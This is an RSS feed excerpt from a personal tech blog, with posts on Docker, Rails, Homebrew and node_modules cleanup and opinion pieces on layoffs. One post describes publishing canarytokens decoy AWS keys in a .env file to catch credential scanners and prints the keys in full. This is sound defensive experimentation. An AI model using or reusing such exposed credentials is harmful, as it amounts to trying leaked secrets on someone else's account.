      <link>https://nelson.cloud/company-missions-are-bullshit/?ref=rss</link>
      <pubDate>Fri, 24 Nov 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/company-missions-are-bullshit/?ref=rss</guid>
      <description>Every company&amp;rsquo;s real mission is to make money.</description><content:encoded><![CDATA[<p>I have worked for several companies at this point. Every company has a different mission. It&rsquo;s usually something idealistic or grandiose. However, every company&rsquo;s real mission is <strong>to make money</strong>. Most, if not all, companies are willing to give up their public mission if it is unprofitable.</p>
<p>I wish companies were more honest about this. It&rsquo;s okay to admit that the ultimate mission is to make as much money as possible. It&rsquo;s obvious that companies exist primarily to earn money. I would have more respect for companies that were more honest about this.</p>
]]></content:encoded>
    </item>
    <item>
      <title>How to Determine the Entrypoint for a Docker Image</title>
      <link>https://nelson.cloud/how-to-determine-the-entrypoint-for-a-docker-image/?ref=rss</link>
      <pubDate>Wed, 27 Sep 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-to-determine-the-entrypoint-for-a-docker-image/?ref=rss</guid>
      <description>Using &lt;code&gt;docker inspect&lt;/code&gt; to determine the entrypoint for a given docker image.</description><content:encoded><![CDATA[<p>You can use <code>docker inspect</code> to determine the entrypoint of a docker image.</p>
<p>The command looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">docker inspect --type<span class="o">=</span>image --format<span class="o">=</span><span class="s1">&#39;{{json .Config.Entrypoint}}&#39;</span> &lt;image-name&gt;
</span></span></code></pre></td></tr></table>
</blockquote><p>And here&rsquo;s a real-world example (assuming you have the <code>hashicorp/terraform</code> image downloaded):</p>
<pre tabindex="0"><code>$ docker inspect --type=image --format=&#39;{{json .Config.Entrypoint}}&#39; hashicorp/terraform

[&#34;/bin/terraform&#34;]
</code></pre><p>There are some examples on the 

<a href="https://docs.docker.com/engine/reference/commandline/inspect/" target="_blank" rel="noopener">official docs</a> but none of the examples covered my use cases, so here are some additional useful <code>docker inspect</code> examples using the <code>busybox</code> image.</p>
<p>List environment variables:</p>
<pre tabindex="0"><code>$ docker inspect --type=image --format=&#39;{{json .Config.Env}}&#39; busybox

[&#34;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#34;]
</code></pre><p>List the <code>CMD</code>:</p>
<pre tabindex="0"><code>$ docker inspect --type=image --format=&#39;{{json .Config.Cmd}}&#39; busybox

[&#34;sh&#34;]
</code></pre><p>Print out the architecture:</p>
<pre tabindex="0"><code>$ docker inspect --type=image --format=&#39;{{json .Architecture}}&#39; busybox

&#34;amd64&#34;
</code></pre><p>The <code>docker inspect</code> command can also be used to inspect other docker resources too, not just images. Check out the documentation for more information.</p>
<p>References:</p>
<ul>
<li>

<a href="https://docs.docker.com/engine/reference/commandline/inspect/" target="_blank" rel="noopener">https://docs.docker.com/engine/reference/commandline/inspect/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Publishing Fake AWS API Keys on My Site</title>
      <link>https://nelson.cloud/publishing-fake-aws-api-keys-on-my-site/?ref=rss</link>
      <pubDate>Fri, 16 Jun 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/publishing-fake-aws-api-keys-on-my-site/?ref=rss</guid>
      <description>Using canarytokens.org to generate fake AWS API keys and then publishing them on my site.</description><content:encoded><![CDATA[<p>I recently discovered 

<a href="https://canarytokens.org" target="_blank" rel="noopener">canarytokens.org</a>, which helps detect if your infrastructure has been breached through various methods. For example, 

<a href="https://canarytokens.org" target="_blank" rel="noopener">canarytokens.org</a> lets me generate fake AWS API keys and receive an email notification when they are used. So I did exactly that just to see what would happen.</p>
<p>I published the fake AWS API keys to my site under 

<a href="https://nelson.cloud/.env" target="_blank" rel="noopener">https://nelson.cloud/.env</a>. I chose <code>.env</code> because this is a file that is commonly scanned for by scripts/bots due to accidental uploads. I knew someone would find the credentials eventually and I was curious how quickly and frequently they would be accessed.</p>
<p>At the time of writing this blog post, this is what the <code>.env</code> file contains:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ curl https://nelson.cloud/.env
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">AWS_ACCESS_KEY_ID</span><span class="o">=</span>AKIA2OGYBAH6TDQ3GH4E
</span></span><span class="line"><span class="cl"><span class="nv">AWS_SECRET_ACCESS_KEY</span><span class="o">=</span>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
</span></span><span class="line"><span class="cl"><span class="nv">REGION</span><span class="o">=</span>us-east-2
</span></span></code></pre></td></tr></table>
</blockquote><p>Around 2 minutes after deploying out this file, I received my first email notification from 

<a href="https://canarytokens.org" target="_blank" rel="noopener">canarytokens.org</a>. That was fast! It just goes to show that people are constantly scanning for credentials on the internet. Within an hour or so I had ~10 notifications.</p>
<p>The notification emails from canarytokens.org provide useful details about the attackers using the AWS API keys. Here&rsquo;s an example notification I received:</p>
<img src="/putting-up-fake-aws-keys/notification.webp" alt="canarytokens.org notification showing python usage" width="720" height="482" style="max-width: 100%; height: auto; aspect-ratio: 1300 / 872;" loading="lazy" decoding="async">
<p>We can see based on the user agent that whoever used these AWS keys was doing this automatically using Python.</p>
<p>I also got another notification that shows that the attacker was using Powershell:</p>
<img src="/putting-up-fake-aws-keys/notification2.webp" alt="canarytokens.org notification showing powershell usage" width="720" height="509" style="max-width: 100%; height: auto; aspect-ratio: 1300 / 920;" loading="lazy" decoding="async">
<blockquote><p><strong>Note:</strong></p>User Agent strings can be spoofed, so take these screenshots with a grain of salt.</blockquote>

<p>There is a guide here if you&rsquo;re interested in trying this out for yourself:</p>
<ul>
<li>

<a href="https://docs.canarytokens.org/guide/" target="_blank" rel="noopener">https://docs.canarytokens.org/guide/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Automatically Delete Development Logs in Ruby on Rails</title>
      <link>https://nelson.cloud/automatically-delete-development-logs-in-ruby-on-rails/?ref=rss</link>
      <pubDate>Sun, 21 May 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/automatically-delete-development-logs-in-ruby-on-rails/?ref=rss</guid>
      <description>How to automatically delete development logs in Ruby on Rails.</description><content:encoded><![CDATA[<p>I usually don&rsquo;t need development logs persisted after I&rsquo;m done with a development session of a Rails app. Sometimes the <code>development.log</code> file can balloon up to gigabytes if I forget to delete it. I found a way to delete this file after a Ruby on Rails application exits in development mode.</p>
<h2 id="deleting-developmentlog-on-every-exit">Deleting development.log on Every Exit</h2>
<p>In <code>config/environments/development.rb</code>, add the following:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># delete local dev logs after exiting</span>
</span></span><span class="line"><span class="cl"><span class="nb">at_exit</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">development_logfile</span> <span class="o">=</span> <span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">paths</span><span class="o">[</span><span class="s1">&#39;log&#39;</span><span class="o">].</span><span class="n">first</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># if development.log exists, delete it.</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="no">File</span><span class="o">.</span><span class="n">exist?</span><span class="p">(</span><span class="n">development_logfile</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="no">Rails</span><span class="o">.</span><span class="n">logger</span><span class="o">.</span><span class="n">debug</span> <span class="s1">&#39;Deleting development.log...&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="no">File</span><span class="o">.</span><span class="n">delete</span><span class="p">(</span><span class="n">development_logfile</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>This code will delete <code>development.log</code> after the Rails process exits.</p>
<p>For example, I can start up a Rails app locally and see that a <code>development.log</code> file is created under <code>log</code>/:</p>
<pre tabindex="0"><code>$ rails s
=&gt; Booting Puma
=&gt; Rails 7.0.4.3 application starting in development
=&gt; Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Puma version: 6.0.0 (ruby 3.1.2-p20) (&#34;Sunflower&#34;)
*  Min threads: 5
*  Max threads: 5
*  Environment: development
*          PID: 18528
* Listening on http://127.0.0.1:3000
* Listening on http://[::1]:3000
Use Ctrl-C to stop
</code></pre><p>And I can see the <code>development.log</code> file under <code>log/</code>:</p>
<pre tabindex="0"><code>$ ls -1 log/
bullet.log
development.log # here&#39;s the development log file
production.log
test.log
</code></pre><p>Now when I exit the <code>rails</code> process, I should see a message saying &ldquo;Deleting development.log&hellip;&rdquo; and I should also see the <code>development.log</code> file disappear:</p>
<pre tabindex="0"><code>^C- Gracefully stopping, waiting for requests to finish
=== puma shutdown: 2023-05-21 13:58:25 -0700 ===
- Goodbye!
Exiting
Deleting development.log...
</code></pre><p>The custom message is there. Now to verify that there is no <code>development.log</code> file:</p>
<pre tabindex="0"><code>$ ls -1 log/
bullet.log
production.log
test.log
</code></pre><p>The <code>development.log</code> file is now gone!</p>
<h2 id="deleting-developmentlog-if-it-reaches-a-certain-file-size">Deleting development.log if it Reaches a Certain File Size</h2>
<p>Maybe you want to keep the <code>development.log</code> file around unless it reaches a certain file size. If that&rsquo;s the case, we can tweak what we previously added in <code>config/environments/development.rb</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># delete local dev logs after exiting</span>
</span></span><span class="line"><span class="cl"><span class="nb">at_exit</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">development_logfile</span> <span class="o">=</span> <span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">paths</span><span class="o">[</span><span class="s1">&#39;log&#39;</span><span class="o">].</span><span class="n">first</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="no">File</span><span class="o">.</span><span class="n">exist?</span><span class="p">(</span><span class="n">development_logfile</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># get file size of development.log and convert to Megabytes rounded to 2 decimal places</span>
</span></span><span class="line"><span class="cl">    <span class="n">file_size</span> <span class="o">=</span> <span class="p">(</span><span class="no">File</span><span class="o">.</span><span class="n">size</span><span class="p">(</span><span class="n">development_logfile</span><span class="p">)</span> <span class="o">/</span> <span class="mi">1_000_000</span><span class="o">.</span><span class="mi">0</span><span class="p">)</span><span class="o">.</span><span class="n">round</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># if development.log is 50MB or more, delete it.</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">file_size</span> <span class="o">&gt;=</span> <span class="mi">50</span>
</span></span><span class="line"><span class="cl">      <span class="no">Rails</span><span class="o">.</span><span class="n">logger</span><span class="o">.</span><span class="n">debug</span> <span class="s1">&#39;development.log is over 50MB. Deleting...&#39;</span>
</span></span><span class="line"><span class="cl">      <span class="no">File</span><span class="o">.</span><span class="n">delete</span><span class="p">(</span><span class="n">development_logfile</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote>]]></content:encoded>
    </item>
    <item>
      <title>Delete All node_modules Directories Recursively in macOS and Linux</title>
      <link>https://nelson.cloud/delete-all-node_modules-directories-recursively-in-macos-and-linux/?ref=rss</link>
      <pubDate>Sun, 14 May 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/delete-all-node_modules-directories-recursively-in-macos-and-linux/?ref=rss</guid>
      <description>How to delete all node_modules directories recursively in macOS and Linux systems.</description><content:encoded><![CDATA[<p>We can use the <code>find</code> command to delete a specific directory recursively. This is the command formula:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">find /path/to/starting/directory/ -type d -name <span class="s2">&#34;directory_to_delete&#34;</span> -exec rm -rf <span class="o">{}</span> <span class="se">\;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>For example, if we wanted to delete all <code>node_modules</code> directories within the path <code>/projects/javascript/</code>, we would run:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">find /projects/javascript/ -type d -name <span class="s2">&#34;node_modules&#34;</span> -exec rm -rf <span class="o">{}</span> <span class="se">\;</span>
</span></span></code></pre></td></tr></table>
</blockquote><blockquote><p><strong>Note:</strong></p><p>Sometimes the output says:</p>
<pre tabindex="0"><code>find: ./node_modules: No such file or directory
</code></pre><p>But the command should still work.</p>
</blockquote>

<p>If you look closely, we&rsquo;re really just executing a command against all <code>node_modules</code> directories in the <code>/projects/javascript/</code> directory (<code>rm -rf</code>). This command can be modified to execute other commands against all <code>node_modules</code> directories, but that is out of the scope of this post :)</p>
]]></content:encoded>
    </item>
    <item>
      <title>As an Employee, You Are Disposable</title>
      <link>https://nelson.cloud/as-an-employee-you-are-disposable/?ref=rss</link>
      <pubDate>Sat, 06 May 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/as-an-employee-you-are-disposable/?ref=rss</guid>
      <description>Companies are willing to lay off employees despite being profitable.</description><content:encoded><![CDATA[<p>The recent tech layoffs have shown that employees are disposable in the eyes of executives. This isn&rsquo;t surprising though and I&rsquo;m definitely not the first person that has written about this. I just want to highlight the current situation.</p>
<figure>
    <img loading="lazy" src="/employees-are-disposable/tech-layoff-tracker.webp"
         alt="TrueUp tech layoff tracker"/> <figcaption>
            <p><em>Source: 

<a href="https://www.trueup.io/layoffs" target="_blank" rel="noopener">TrueUp: Tech Layoff Tracker</a></em></p>
        </figcaption>
</figure>

<br>
<p>It doesn&rsquo;t matter if investor expectations are surpassed, layoffs can still take place.
<figure>
    <img loading="lazy" src="/employees-are-disposable/cnbc-shopify.webp"
         alt="CNBC Shopify headline"/> <figcaption>
            <p><em>Source: 

<a href="https://www.cnbc.com/2023/05/04/shopify-cuts-20percent-of-its-workforce-shares-surge-on-earnings-beat.html" target="_blank" rel="noopener">CNBC: Shopify cuts 20% of its workforce; shares surge on earnings beat</a></em></p>
        </figcaption>
</figure>
</p>
<br>
<p>It&rsquo;s somewhat understandable if a company is struggling financially and resorts to layoffs. However, there&rsquo;s plenty of companies that are profitable and still lay off the people that earned the company those profits.
<figure>
    <img loading="lazy" src="/employees-are-disposable/microsoft.webp"
         alt="Polygon Microsoft headline"/> <figcaption>
            <p><em>Source: 

<a href="https://www.polygon.com/23561210/microsoft-layoffs-xbox-bethesda-halo-infinite-343-industries" target="_blank" rel="noopener">Polygon: Microsoft mass layoffs reportedly impact Bethesda, Halo Infinite teams</a></em></p>
        </figcaption>
</figure>
</p>
<br>
<p>Many companies are not only profitable, but their executives continue to earn huge sums of money amidst layoffs.</p>
<figure>
    <img loading="lazy" src="/employees-are-disposable/ars-google.webp"
         alt="Ars Technica headline"/> <figcaption>
            <p><em>Source: 

<a href="https://arstechnica.com/tech-policy/2023/05/googlers-angry-about-ceos-226m-pay-after-cuts-in-perks-and-12000-layoffs/" target="_blank" rel="noopener">Ars Technica: Googlers angry about CEO&rsquo;s $226M pay after cuts in perks and 12,000 layoffs</a></em></p>
        </figcaption>
</figure>

<br>
<p>Aside from layoffs, employees may have their pay frozen even though company revenues are up. That&rsquo;s what happened at Microsoft. Let&rsquo;s not forget that Microsoft is a $2.5 trillion dollar company (at the time of this writing).</p>
<figure>
    <img loading="lazy" src="/employees-are-disposable/microsoft-pay-freeze.webp"
         alt="Techradar headline"/> <figcaption>
            <p><em>Source: 

<a href="https://www.techradar.com/pro/microsoft-workers-protest-landmark-year-ceo-memo-following-pay-freeze" target="_blank" rel="noopener">Techradar: Microsoft workers protest &rsquo;landmark year&rsquo; CEO memo following pay freeze</a></em></p>
        </figcaption>
</figure>

<br>
<p>It doesn&rsquo;t matter how much value you&rsquo;ve delivered. It doesn&rsquo;t matter how much impact you&rsquo;ve had in a company. It doesn&rsquo;t matter how long you&rsquo;ve been at a company. You are still disposable.</p>
<figure>
    <img loading="lazy" src="/employees-are-disposable/jeremy-joslin.webp"
         alt="Tweet from @jcj"/> <figcaption>
            <p><em>Source: 

<a href="https://twitter.com/jcj/status/1616482322278420481" target="_blank" rel="noopener">Jeremy Joslin (@jcj) on Twitter</a></em></p>
        </figcaption>
</figure>

<br>
<p>Employees everywhere are disposable, not just in the tech field. You can work at a company for over 30 years and still get thrown away like nothing.</p>
<figure>
    <img loading="lazy" src="/employees-are-disposable/gm-employee.webp"
         alt="Adam Bernard headline."/> <figcaption>
            <p><em>Source: 

<a href="https://gmauthority.com/blog/2024/11/38-year-gm-employee-gets-laid-off-by-5-am-email/" target="_blank" rel="noopener">38-Year GM Employee Gets Laid Off By 5 AM Email</a></em></p>
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/employees-are-disposable/adam-bernard.webp"
         alt="Adam Bernard on LinkedIn"/> <figcaption>
            <p><em>Source: 

<a href="https://www.linkedin.com/posts/adamdbernard_well-in-unexpected-news-i-was-let-go-from-activity-7263190210874617856-wE6z/" target="_blank" rel="noopener">Adam Bernard on LinkedIn</a></em></p>
        </figcaption>
</figure>

<br>
<p>This article shows the mindset some very wealthy executives have about the average worker/employee.</p>
<figure>
    <img loading="lazy" src="/employees-are-disposable/tim-gurner.webp"
         alt="BBC Tim Gurner headline"/> <figcaption>
            <p><em>Source: 

<a href="https://www.bbc.com/news/business-66803279" target="_blank" rel="noopener">BBC: Tim Gurner apologises over call for more unemployment to fix worker attitudes</a></em></p>
        </figcaption>
</figure>

<p>There are some bits I want to highlight:</p>
<blockquote><p><strong>Quote:</strong></p>&ldquo;There&rsquo;s been a systematic change where employees feel the employer is extremely lucky to have them,&rdquo; Mr Gurner said. &ldquo;We need to remind people they work for the employer, not the other way around.&rdquo;</blockquote>

<blockquote><p><strong>Quote:</strong></p>[Mr Gurner] has previously made headlines by suggesting young people cannot afford homes because they spend too much on avocado toast.</blockquote>

<h2 id="in-conclusion">In Conclusion&hellip;</h2>
<p>It&rsquo;s okay to like your job and employer. Just understand that, <strong>as an employee, you are disposable</strong>.</p>
<h2 id="further-reading">Further Reading</h2>
<p>Here are some articles I&rsquo;ve come across that share similar sentiments or are very relevant. I highly recommend giving them a read.</p>
<ul>
<li>

<a href="https://www.qword.net/2023/04/30/maybe-you-should-store-passwords-in-plaintext" target="_blank" rel="noopener">Maybe you should store passwords in plaintext</a></li>
<li>

<a href="https://www.mcsweeneys.net/articles/our-company-is-doing-so-well-that-youre-all-fired" target="_blank" rel="noopener">Our Company Is Doing So Well That You’re All Fired</a></li>
<li>

<a href="https://hbr.org/2022/12/what-companies-still-get-wrong-about-layoffs" target="_blank" rel="noopener">What Companies Still Get Wrong About Layoffs</a></li>
<li>

<a href="https://ludic.mataroa.blog/blog/i-accidentally-saved-half-a-million-dollars/" target="_blank" rel="noopener">I Accidentally Saved Half A Million Dollars</a></li>
<li>

<a href="https://mertbulan.com/2025/01/26/once-you-are-laid-off-you-will-never-be-the-same-again/" target="_blank" rel="noopener">Once You&rsquo;re Laid Off, You&rsquo;ll Never Be the Same Again</a></li>
<li>

<a href="https://nerdy.dev/ex-googler" target="_blank" rel="noopener">G̶o̶o̶g̶l̶e̶r̶&hellip; ex-Googler.</a></li>
<li>

<a href="https://www.lloydatkinson.net/posts/2025/motivation-in-an-absurd-system/" target="_blank" rel="noopener">Motivation in an Absurd System</a></li>
<li>

<a href="https://green.spacedino.net/the-three-year-myth/" target="_blank" rel="noopener">The Three Year Myth</a></li>
</ul>
<hr>
<p>Discussion over at 

<a href="https://news.ycombinator.com/item?id=40943436" target="_blank" rel="noopener">Hacker News</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>My Donation Earnings Over the Past Year</title>
      <link>https://nelson.cloud/my-donation-earnings-over-the-past-year/?ref=rss</link>
      <pubDate>Thu, 04 May 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/my-donation-earnings-over-the-past-year/?ref=rss</guid>
      <description>My donation earnings on buymeacoffee.com over the past year.</description><content:encoded><![CDATA[<p>Here are my donation earnings for the past year.</p>
<img src="/my-donation-earnings-over-the-past-year/earnings.webp" alt="Buymeacoffee total donations" width="720" height="286" style="max-width: 100%; height: auto; aspect-ratio: 1772 / 704;" loading="lazy" decoding="async">
<p>Amazing right??? 😂</p>
<p>In all seriousness, I&rsquo;m not upset about this at all. I didn&rsquo;t expect to get any donations when I originally added a &ldquo;donate&rdquo; link to my site. I just wanted to share my experience so others can see the reality of donations :). I will continue to blog regardless.</p>
<p>It&rsquo;s worth mentioning that my site isn&rsquo;t popular by any means. Here are my metrics from Google Search Console for the past 3 months:</p>
<img src="/my-donation-earnings-over-the-past-year/google-clicks.webp" alt="Google Search Console" width="720" height="278" style="max-width: 100%; height: auto; aspect-ratio: 2144 / 828;" loading="lazy" decoding="async">
<p>I am curious to see what the donation earnings (if any) are for much more popular blogs and personal sites.</p>
]]></content:encoded>
    </item>
    <item>
      <title>How To Install Older Versions of Homebrew Packages</title>
      <link>https://nelson.cloud/how-to-install-older-versions-of-homebrew-packages/?ref=rss</link>
      <pubDate>Tue, 18 Apr 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-to-install-older-versions-of-homebrew-packages/?ref=rss</guid>
      <description>How to install a specific version of Homebrew packages.</description><content:encoded><![CDATA[<p>It&rsquo;s possible to install older versions of Homebrew packages by saving an older version of the corresponding Ruby file locally and running <code>brew install &lt;package&gt;.rb</code>. I&rsquo;ll use the <code>terraform</code> package as an example.</p>
<blockquote><p><strong>tl;dr:</strong></p><p>If I wanted to downgrade to Terraform 1.3.6, I would need to:</p>
<ul>
<li>Find the Ruby file for that specific version of 

<a href="https://github.com/Homebrew/homebrew-core/blob/169f333f93fe0703b542cdf75b1decd4cb78f68d/Formula/terraform.rb" target="_blank" rel="noopener">Terraform on the Homebrew GitHub repo</a></li>
<li>Download the Ruby file</li>
<li>Uninstall the current version of terraform by running <code>brew remove terraform</code></li>
<li>Install the older version defined in the Ruby file by running <code>HOMEBREW_DEVELOPER=true brew install --formulae terraform.rb</code></li>
</ul></blockquote>

<p>Let&rsquo;s say we have <code>terraform</code> version 1.4.5 but we need <code>terraform</code> version 1.3.6. We can start by browsing to 

<a href="https://github.com/Homebrew/homebrew-core/tree/master/Formula" target="_blank" rel="noopener">https://github.com/Homebrew/homebrew-core/tree/master/Formula</a> and try to find the formula for <code>terraform</code> under the <code>t</code> directory.</p>
<img src="/how-to-install-older-versions-of-homebrew-packages/formulas.webp" alt="List of Homebrew formulas" width="720" height="410" style="max-width: 100%; height: auto; aspect-ratio: 3120 / 1780;" loading="lazy" decoding="async">
<p>Since there are a lot of files here, it&rsquo;s easier to just modify the URL path in the browser. Modify the path based on the directory the command is in: Take the name of the package and append it at the end of the url, adding <code>/&lt;directory-containing-package&gt;/&lt;package-name&gt;.rb</code> to the URL. The <code>.rb</code> is important because all Homebrew packages are defined in Ruby (files with the <code>.rb</code> extension).</p>
<p>In this case, we&rsquo;ll append <code>/t/terraform.rb</code> to the URL like so: 

<a href="https://github.com/Homebrew/homebrew-core/blob/master/Formula/t/terraform.rb" target="_blank" rel="noopener">https://github.com/Homebrew/homebrew-core/blob/master/Formula/t/terraform.rb</a></p>
<p>That URL will then take us to the Ruby file where the <code>terraform</code> Homebrew package is defined.</p>
<img src="/how-to-install-older-versions-of-homebrew-packages/terraform.webp" alt="Terraform Homebrew formula" width="720" height="410" style="max-width: 100%; height: auto; aspect-ratio: 3120 / 1780;" loading="lazy" decoding="async">
<p>Next, click the &ldquo;History&rdquo; link on the upper right above the code, or just click on this link 

<a href="https://github.com/Homebrew/homebrew-core/commits/master/Formula/t/terraform.rb" target="_blank" rel="noopener">https://github.com/Homebrew/homebrew-core/commits/master/Formula/t/terraform.rb</a>. In the next page, scroll down until you see the &ldquo;terraform: update 1.3.6 bottle&rdquo; link. Note that you may need to click on &ldquo;Browse History&rdquo; at the bottom of this page before continuing your search.</p>
<img src="/how-to-install-older-versions-of-homebrew-packages/1.3.6.webp" alt="Commit history for the terraform formula" width="720" height="410" style="max-width: 100%; height: auto; aspect-ratio: 3120 / 1780;" loading="lazy" decoding="async">
<p>Click on the 

<a href="https://github.com/Homebrew/homebrew-core/commit/169f333f93fe0703b542cdf75b1decd4cb78f68d" target="_blank" rel="noopener">terraform: update 1.3.6 bottle</a> link to see this page:</p>
<img src="/how-to-install-older-versions-of-homebrew-packages/commit.webp" alt="Commit for terraform 1.3.6" width="720" height="395" style="max-width: 100%; height: auto; aspect-ratio: 3840 / 2110;" loading="lazy" decoding="async">
<p>On the right side above the code block, click on the three dots, then click on &ldquo;View file&rdquo;.</p>
<img src="/how-to-install-older-versions-of-homebrew-packages/view-file.webp" alt="Three dots menu showing view file link" width="720" height="353" style="max-width: 100%; height: auto; aspect-ratio: 1872 / 918;" loading="lazy" decoding="async">
<p>This will take you to the 

<a href="https://github.com/Homebrew/homebrew-core/blob/169f333f93fe0703b542cdf75b1decd4cb78f68d/Formula/terraform.rb" target="_blank" rel="noopener">package formula for this specific version of terraform</a>.</p>
<img src="/how-to-install-older-versions-of-homebrew-packages/older-terraform.webp" alt="Formula for terraform 1.3.6" width="720" height="395" style="max-width: 100%; height: auto; aspect-ratio: 3840 / 2110;" loading="lazy" decoding="async">
<p>On the upper right side of the code block, click on &ldquo;Raw&rdquo;. This 

<a href="https://raw.githubusercontent.com/Homebrew/homebrew-core/169f333f93fe0703b542cdf75b1decd4cb78f68d/Formula/terraform.rb" target="_blank" rel="noopener">gives us the exact code we need</a> to install Terraform 1.3.6. Save the code locally to a file called <code>terraform.rb</code>. You can manually copy and paste or use <code>curl</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">curl https://raw.githubusercontent.com/Homebrew/homebrew-core/169f333f93fe0703b542cdf75b1decd4cb78f68d/Formula/terraform.rb &gt; terraform.rb
</span></span></code></pre></td></tr></table>
</blockquote><p>Then, remove the existing package:</p>
<pre tabindex="0"><code>$ brew remove terraform

Uninstalling /usr/local/Cellar/terraform/1.4.5... (6 files, 69MB)
</code></pre><p>Then run <code>brew install</code> but specify the file you saved locally to install the older version. Note that as of 

<a href="https://github.com/Homebrew/brew/releases/tag/4.6.4" target="_blank" rel="noopener">Homebrew version 4.6.4</a> you can no longer install formulae directly from a file. You can get around this by specifying 

<a href="https://github.com/Homebrew/brew/pull/20414" target="_blank" rel="noopener">the environment variable</a> <code>HOMEBREW_DEVELOPER</code>.</p>
<p>So to install Terraform from the file we just downloaded, run <code>HOMEBREW_DEVELOPER=true brew install --formulae terraform.rb</code>:</p>
<pre tabindex="0"><code>$ HOMEBREW_DEVELOPER=true brew install --formulae terraform.rb

==&gt; Fetching downloads for: terraform
✔︎ Bottle Manifest terraform (1.3.6)
✔︎ Bottle terraform (1.3.6)
Warning: terraform 1.5.7 is available and more recent than version 1.3.6.
==&gt; Pouring terraform--1.3.6.arm64_ventura.bottle.tar.gz
🍺  /opt/homebrew/Cellar/terraform/1.3.6: 7 files, 64MB
==&gt; Running `brew cleanup terraform`...
Disable this behaviour by setting `HOMEBREW_NO_INSTALL_CLEANUP=1`.
Hide these hints with `HOMEBREW_NO_ENV_HINTS=1` (see `man brew`).
</code></pre><p>Now <code>terraform</code> version 1.3.6 is installed!</p>
<pre tabindex="0"><code>$ terraform version

Terraform v1.3.6
on darwin_arm64
</code></pre><blockquote><p><strong>Pro Tip:</strong></p><p>You can pin the current version so it doesn&rsquo;t upgrade in the future.</p>
